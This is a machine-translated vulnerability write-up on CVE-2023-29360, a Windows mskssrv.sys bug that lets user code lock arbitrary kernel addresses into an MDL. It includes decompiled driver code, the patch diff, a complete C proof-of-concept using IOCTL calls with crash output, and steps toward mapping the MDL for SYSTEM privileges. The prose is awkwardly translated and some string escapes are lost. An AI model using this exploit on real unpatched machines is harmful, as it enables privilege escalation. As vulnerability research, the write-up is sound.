将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统


将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统

这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的第三个系列。在这篇博文中,我们将介绍如何将权限从用户提升到系统,以链接 VMWare 的漏洞。该漏洞是 CVE-2023–29360,这是驱动程序中 mskssrv.sys 一个漂亮而强大的逻辑错误。

@Synacktiv在 Pwn2Own 2023 Vancouver 中使用了此漏洞。此漏洞已于 6 月修补,自 2023 年 7 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。

内存描述符列表 (MDL)

内存描述符列表 (MDL) 是此漏洞最重要的概念。在 MSDN 中,它对 MDL 的描述如下。

An I/O buffer that spans a range of contiguous virtual memory addresses can be spread over several physical pages, and these pages can be discontiguous.The operating system uses a memory descriptor list (MDL) to describe the physical page layout for a virtual memory buffer.

如上所述,MDL用于描述虚拟地址和物理地址的映射,并表示为 _MDL 结构。

0: kd> dt _MDLnt!_MDL   +0x000 Next             : Ptr64 _MDL   +0x008 Size             : Int2B   +0x00a MdlFlags         : Int2B   +0x00c AllocationProcessorNumber : Uint2B   +0x00e Reserved         : Uint2B   +0x010 Process          : Ptr64 _EPROCESS   +0x018 MappedSystemVa   : Ptr64 Void   +0x020 StartVa          : Ptr64 Void   +0x028 ByteCount        : Uint4B   +0x02c ByteOffset       : Uint4B

StartVa 是虚拟地址, ByteOffset 是开始的偏移量, MappedSystemVa 并且是 MDL 描述的映射虚拟地址。 MappedSystemVa 仅在分别锁定和映射 MmProbeAndLockPages 和 MmMapLockedPagesSpecifyCache 后才有效。此外,物理页面地址位于结构的 _MDL 末尾。

通常,MDL 的使用方式如下。

PMDL pMDL = NULL;pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);__try{  MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);}__except (EXCEPTION_EXECUTE_HANDLER){  IoFreeMdl(pMDL);  return;} PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);

若要查看 _MDL 结构的实际内存数据,让我们检查 WinDbg 上的数据。

0: kd> dt _MDL ffffe78fc266bb30nt!_MDL   +0x000 Next             : (null)    +0x008 Size             : 0n64   +0x00a MdlFlags         : 0n139   +0x00c AllocationProcessorNumber : 1   +0x00e Reserved         : 0   +0x010 Process          : (null)    +0x018 MappedSystemVa   : 0xffff8001`b72b1008 Void // Mapped Address   +0x020 StartVa          : 0xffffc082`b38e3000 Void // Virtual Address   +0x028 ByteCount        : 0x1008   +0x02c ByteOffset       : 8                        // Offset 0: kd> dq ffffe78fc266bb30 L8ffffe78f`c266bb30  00000000`00000000 00000001`008b0040ffffe78f`c266bb40  00000000`00000000 ffff8001`b72b1008ffffe78f`c266bb50  ffffc082`b38e3000 00000008`00001008ffffe78f`c266bb60  00000000`00229647 00000000`00220448                   ^^^^^^^^^^^^^^^^^                    Physical Page Address 0: kd> db 0xffffc082`b38e3000 + 8ffffc082`b38e3008  00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00  .].J....`.......ffffc082`b38e3018  90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00  ................ffffc082`b38e3028  a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01  ..J....^_P.....ffffc082`b38e3038  00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00  ............&...ffffc082`b38e3048  22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00  ".<.s.e.t.t.i.n.ffffc082`b38e3058  67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00  g.s...d.a.t...L.ffffc082`b38e3068  4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00  O.G.2...0.-.1.8.ffffc082`b38e3078  37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00  7.2.1.4.5.6.1.1. 0: kd> !db 00229647*1000 + 8#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 ..J....^_P.....#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1. 0: kd> db 0xffff8001`b72b1008ffff8001`b72b1008  00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00  .].J....`.......ffff8001`b72b1018  90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00  ................ffff8001`b72b1028  a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01  ..J....^_P.....ffff8001`b72b1038  00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00  ............&...ffff8001`b72b1048  22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00  ".<.s.e.t.t.i.n.ffff8001`b72b1058  67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00  g.s...d.a.t...L.ffff8001`b72b1068  4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00  O.G.2...0.-.1.8.ffff8001`b72b1078  37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00  7.2.1.4.5.6.1.1.

如上图所示,虚拟地址和物理地址指向的数据是相同的,这意味着MDL映射了物理地址和虚拟地址。

CVE-2023–29360

mskssrv.sys 驱动程序中存在此漏洞。此驱动程序用于在内核模式下处理流数据,例如相机设备。

为了找到与此驱动程序通信的设备路径,我们检查 FrameServer 了 ,该服务处理流数据。在服务 dll 中, FrameService.dll 我们可以找到获取 mskssrv.sys 驱动程序的设备句柄的代码。

__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle){  ...  result = CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196, 0i64, buffer, bufferlen, 0);  if ( !result && *buffer){    handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);    if ( handle != (HANDLE)-1i64 )    {      *phandle = handle;      result = 0i64;    }  ...}

从这段代码中,我们可以看到设备路径是 \?ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}

在此驱动程序上调用 DeviceIoControl API 将触发该 mskssrv!SrvDispatchIoControl 函数。

__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp){  ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;  switch(ioctlcode){    case 0x2F0408:      RendezvousServerObj = NULL      KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);      result = FSGetRendezvousServer(&RendezvousServerObj);      if ( result >= 0 )      {        result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx        FSRendezvousServer::Release(RendezvousServerObj);      }    ...    case 0x2F0410:      RendezvousServerObj = NULL      KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);      result = FSGetRendezvousServer(&RendezvousServerObj);      if ( result >= 0 )      {        result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx        FSRendezvousServer::Release(RendezvousServerObj);      }  ...

SrvDispatchIoControl 根据 IoControlCode 调用 DeviceIoControl 适当的函数。何时 IoControlCode 调用 0x2F0408 , FSRendezvousServer::PublishTx 并 FSRendezvousServer::PublishTx 再次调用 FSStreamReg::PublishTx 。

__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data){  // [1]. Validate Input Buffer  result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);  if ( result < 0 )    return result;  // [2]. Repeat until `data+0x24`  for ( idx = 0; idx < *(data + 0x24); ++idx )  {    offset = 0x88i64 * idx;    if ( *(offset + data + 0x70) )    {      // Allocate memory      buffer = operator new(0xD8ui64, unknown, 0x736C644Du);      if ( buffer )      {        *(buffer + 16) = 0;        *(buffer + 208) = 0;        memset((buffer + 24), 0, 0xB8ui64);      }      else      {        return 0xC000009A;      }      // [3]. Allocate MDL by using user supplied data      result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);      if ( result < 0 )      {        // ERROR      }      // [4]. insert the MDL to FSFrameMdlList in FsStreamRegObject      FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);      ...    }  }  ...}

验证用户提供的值 ( [1] ) 后, FSStreamReg::PublishTx 通过循环 Count data+0x24 ( ) 的次数来处理用户数据 [2] 。MDL 通过 FSFrameMdl::AllocateMdl 用户提供的数据 ( [3] ) 进行分配,MDL 信息插入到 ( [4] ) 中的 FsStreamRegObject 已发布列表中。

其中,让我们仔细看看 FSFrameMdl::AllocateMdl 函数的代码。

__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data){  // [5]. Copy User Data  HandleInformation = 0i64;  Object = 0i64;  memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);  mapflag = *(user_data + 0x48);  if ( !mapflag )  {    // Omitted  }  switch(mapflag){    case 4:    case 8:      // [*] Create MDL by using user supplied data      result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);      if(result < 0){ /* ERROR */ }    case 1:      // [*] Create MDL by using user supplied data      result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);      if(result < 0){ /* ERROR */ }    ...  }  ...}

FSFrameMdl::AllocateMdl 将用户数据复制到 的内核缓冲区 ( FsFrameMdlobj ) 中 [5] ,并使用用户可控参数进行调用 FsAllocAndLockMdl 。

__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object){  if ( !address || !size || !mdl_object )    return 0xC000000D;  // [6]. Allocate MDL  Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);  if ( !Alloc_Mdl )    return 0xC000009A;  // [7]. Probe and Lock MDL with "KernelMode (0)"  MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);  *mdl_object = Alloc_Mdl;  return 0;}

FsAllocAndLockMdl 通过 IoAllocateMdl ( [6] ) 分配 MDL,并在允许 ( ) 的情况下 IoWriteAccess 锁定 MDL 区域 [7] 。 MmProbeAndLockPages 但是,在调用 MmProbeAndLockPages 时,第二个参数 AccessMode 设置为 KernelMode(0) 。如果为 AccessMode KernelMode(0) ,则跳过对地址的验证。

// MmProbeAndLockPages -> MiProbeAndLockPages-> MiProbeAndLockPrepare__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag){  v8 = is_read;  v10 = address + size;  *(_QWORD *)(buffer + 72) = KeGetCurrentThread();  v56 = 0;  *(_QWORD *)(buffer + 56) = MemoryDescriptorList;  *(_DWORD *)(buffer + 88) = is_read;  *(_QWORD *)buffer = address; // Base Address  *(_QWORD *)(buffer + 8) = address + size; // Start Address   // Check Address with the AccessMode==UserMode(1)  if ( AccessMode ){    if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )    {      ++dword_140C4E5F8;      return 0xC0000005;    }  }  ...}

如上面的代码所示,仅当 AccessMode 为 时 UserMode(1) ,才会验证地址。也就是说,我们可以用任意地址锁定 MDL,包括来自用户应用程序的内核地址空间。

CVE-2023–29360 补丁

比较模块和版本:ntoskrnl.exe(x64)、10.0.19041.2913、10.0.19041.3086

__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object){  if ( !address || !size || !mdl_object )    return 0xC000000D;  Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);  if ( !Alloc_Mdl )    return 0xC000009A;  -  MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);+  MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode  *mdl_object = Alloc_Mdl;  return 0;}

补丁非常简单。锁定页面时,第二个参数 AccessMode 将更改为 UserMode(1) 。如果是 AccessMode UserMode , MmProbeAndLockPages 则检查地址是否放置在用户内存空间中(该地址应小于 0x7FFFFFFF0000 )。

到达易受攻击的代码

要触发此漏洞,我们需要满足到达易受攻击代码的条件。

__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp){  ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;  switch(ioctlcode){    case 0x2F0408:      RendezvousServerObj = NULL      KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);      result = FSGetRendezvousServer(&RendezvousServerObj); // [*] should be succeeded      if ( result >= 0 )      {        result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx        FSRendezvousServer::Release(RendezvousServerObj);      }

首先, FSGetRendezvousServer 应该成功检索到 RendezvousServerObj 没有错误 ( [*] )。

__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr){  result = 0;  if ( ServerObj_1C0005048 )  {    // Store ServerObj_1C0005048 to RendezvousServerObjPtr    *RendezvousServerObjPtr = ServerObj_1C0005048;    _InterlockedIncrement(ServerObj_1C0005048);  }  else  {    result = 0xC0000010;  }  KeReleaseMutex(&Mutex, 0);  return v2;}

如上面的代码所示, FSRendezvousServer object 来自全局变量 ServerObj_1C0005048 。 ServerObj_1C0005048 设置在 中 FSInitializeContextRendezvous ,当 IoControlCode 是 0x2F0400 时调用。

__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1){  ...  RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);  if(RendezvousServerObj){    // Initializing RendezvousServerObj   }  ServerObj_1C0005048 = RendezvousServerObj;  ...}

接下来,我们来看看在入口函数中触发目标函数 FsAllocAndLockMdl 需要满足的条件 FSRendezvousServer::PublishTx 。

__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp){  ...  // Validate input buffer  data = (__int64)irp->AssociatedIrp.MasterIrp;  if ( !data )    return 0xC000000D;  inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;  if ( (unsigned int)inputbufferlen < 0xB0 )    return 0xC000000D;  cnt = *(_DWORD *)(data + 0x20);  if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )    return 0xC000000D;  FSRendezvousServer::Lock(this);   FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;  // [*] Find the "FsContext2" is in the FSRendezvousServer object  isfindobj = FSRendezvousServer::FindObject(this, FsContext2);  KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);  if ( isfindobj )  {    (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg    // [8]. Call FSStreamReg::PublishTx    result = FSStreamReg::PublishTx(FsContext2, data);

首先, FSRendezvousServer::PublishTx 验证用户提供的数据。这些条件很容易满足,因为数据是完全可控的。然后,它调用 FSRendezvousServer::FindObject 以检查 obj->FileObject->FsContext2 is in FSRendezvousServer . FSRendezvousServer::FindObject 只有当找到 in FSRendezvousServer 时 FsContext2 , FSStreamReg::PublishTx 才称为 ( [8] )。

我们可以从用作 ( ) 值的事实中推断出 FsContext2 这是对象的 FSStreamReg 类型 [8] 。 FsContext2 this FSStreamReg::PublishTx

因此,我们需要找到函数创建 FSStreamReg 对象并将对象地址保存到 obj->FileObject->FsContext2 。该函数是 FSRendezvousServer::InitializeStream ,如下所示。

__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp){  obj = irp->Tail.Overlay.CurrentStackLocation;  if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )  {    result = 0xC0000010;  }  else  {        data = (__int64)irp->AssociatedIrp.MasterIrp;    /**     Validate User Data    **/        // Allocate Buffer    buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);    if ( buffer )      FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg    if ( !FSStreamReg_obj )      return 0xC000009A;        // Initialize FSStreamReg    if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )      result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);    else      result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);     ...    // [*] Save FSStreamReg_obj to FsContext2    obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;    _InterlockedIncrement(FSStreamReg_obj + 6);    ...

FSRendezvousServer::InitializeStream 当 IoControlCode 是 0x2F0404 时 ,可以调用 。

总而言之,最终的PoC代码将是这样的。

#include <windows.h>#include <winternl.h>#include <cfgmgr32.h>#include <stdio.h> #pragma comment(lib, "Cfgmgr32.lib") #define inputsize 0x100#define outputsize 0x100 int main() {   WCHAR DeviceLink[256] = L"\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";  HANDLE hDevice = NULL;  NTSTATUS ntstatus = 0;  hDevice = CreateFile(    DeviceLink,    GENERIC_READ | GENERIC_WRITE,    0,    NULL,    OPEN_EXISTING,    0x80,    NULL  );   PCHAR inputBuffer = (PCHAR)malloc(inputsize);  PCHAR outputBuffer = (PCHAR)malloc(outputsize);  memset(inputBuffer, 0, inputsize);  memset(outputBuffer, 0, outputsize);   printf("[+] Initialize Rendezvousn");  memset(inputBuffer, 0, inputsize);  *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO  *(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO  *(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO  *(DWORD64*)(inputBuffer + 0x18) = 0; // 0  ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous    printf("[+] Initialize Streamn");  memset(inputBuffer, 0, inputsize);  *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO  *(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO  *(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO  *(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74  *(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000  *(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE  ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream    ULONG_PTR targetaddr = 0xffffffff00031337;  printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %pn", targetaddr);  memset(inputBuffer, 0, inputsize);  *(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt  *(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt   *(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt   *(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1  *(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1  *(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2  *(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2  *(DWORD64*)(inputBuffer + 0x70) = 0x8; // flag : (BYTE)(1,4,8)  ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx}


KDTARGET: Refreshing KD connection *** Fatal System Error: 0x00000050                       (0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred.Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337r14=0000000000000000 r15=ffff850b8e13a080iopl=0         nv up ei ng nz na po nccs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286nt!DbgBreakPointWithStatus:fffff800`1f805240 cc              int     3 ... 0: kd> kb # RetAddr               : Args to Child                                                           : Call Site00 fffff800`1f9162f2     : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus01 fffff800`1f9158d6     : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x1202 fffff800`1f7fbda7     : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x94603 fffff800`1f84ac53     : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x10704 fffff800`1f66e7b0     : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b227305 fffff800`1f716f3c     : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x40006 fffff800`1f66c9b7     : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc07 fffff800`1f66bcd3     : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b708 fffff800`1f66aa59     : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x15309 fffff800`3e402c98     : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x290a fffff800`3e40b824     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x640b fffff800`3e40c63d     : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x1400c fffff800`3e40a7e9     : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d0d fffff800`3e409513     : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd0e fffff800`27e7dddc     : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143...


编写EXP

在 PoC 中,我们演示了仅锁定任意地址。为了利用这个原语,我们需要映射纵的 MDL。

FSFrameMdl::MapPages 是映射 MDL 的函数。 FSFrameMdl::MapPages FSRendezvousServer::ConsumeTx 可以从 访问,当 IoControlCode 是 0x2F0410 时调用,它在内部调用 FSStreamReg::ConsumeTx 。

__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data){  if ( !data || !*(_DWORD *)(data + 0x20) )    return (unsigned int)-1073741811;    // [9]. Check the flag in FsStreamReg Object  if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()    && (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )  {    return 0xC0000466;  }  *(_DWORD *)(data + 0x24) = 0;  list = (_QWORD *)(FsStreamReg + 0x110);  if ( (_QWORD *)*list != list ) // Check List is Empty  {    while ( 1 )    {      // [10]. Get FsFrameMdl from Published List      FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));      ...      // [11]. Map the FsFrameMdl to User Memory      result = FSFrameMdl::MapPages(              FsFrameMdl,              *(struct _EPROCESS **)(FsStreamReg + 0x38),              *(struct _EPROCESS **)(FsStreamReg + 0x40),              (struct FSMemoryStream *)(136 * v10 + data + 0x28));      ...      // Add FsFrameMdl to Consumed List      FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);      ...    }}

FSStreamReg::ConsumeTx FsStreamReg 检查对象的标志 [9] ,然后从已发布的列表 ( [10] ) 中取出一个包含此漏洞操纵的 MDL FsFrameMdl 的对象。然后, FSFrameMdl::MapPages 调用映射 MDL ( [11] )。


为了调用 FSFrameMdl::MapPages ,必须满足 中的 [9] 条件,即 和 FsStreamReg + 0x28 FsStreamReg + 0x2C 不为 NULL。每个值分别设置在 FSStreamReg::Initialize 和 FSStreamReg::Register 中。

__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5){  ...  result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);  if ( result < 0 )    return (unsigned int)result;  currentProc = IoGetCurrentProcess();  result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);  if ( result < 0 )    return (unsigned int)result;  ...  *(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;  *(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);  *(_DWORD *)(FsStreamReg + 152) = 1;  *(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);  *(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);  *(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);  *(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);  *(_QWORD *)(FsStreamReg + 192) = 0i64;  // [*] Set FsStreamReg + 0x28 As 1, HERE  *(_DWORD *)(FsStreamReg + 0x28) = 1;  *(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;  return v5;}
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4){  ...  result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);  if ( result < 0 )    return (unsigned int)result;  currentProc = IoGetCurrentProcess();  result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);  if ( result < 0 )    return (unsigned int)result;  *(_DWORD *)(FsStreamReg + 0x98) |= 2u;  *(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;  // [*] Set FsStreamReg + 0x2C As 1, HERE  *(_DWORD *)(FsStreamReg + 0x2C) = 1;  return v4;}

FSStreamReg::Initialize FSRendezvousServer::InitializeStream 在触发此漏洞时应调用,如 PoC 部分所述。 FSStreamReg::Register 被调用, FSRendezvousServer::RegisterStream 在 IoControlCode 时 0x2F0420 触发。

__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2){  obj = a2->Tail.Overlay.CurrentStackLocation;  // [12]. Check obj->FileObject->FsContext2 is NULL  if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )    return 0xC0000010;  data = (__int64)a2->AssociatedIrp.MasterIrp;   /**    Validate the user data  **/   // call FSStreamReg::Register  if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )    v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);  else    v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);}

但是,如果 不 obj->FileObject->FsContext2 为 NULL,则此函数会立即返回而不调用 FSStreamReg::Register ( [12] )。因为 obj->FileObject->FsContext2 已经设置为 FSStreamReg 触发漏洞,所以不会满足此条件。但是,对于此设备使用另一个句柄可以很容易地满足此条件,因为为每个句柄分配了 。 obj->FileObject

最后,我们可以通过这个漏洞映射任意地址。

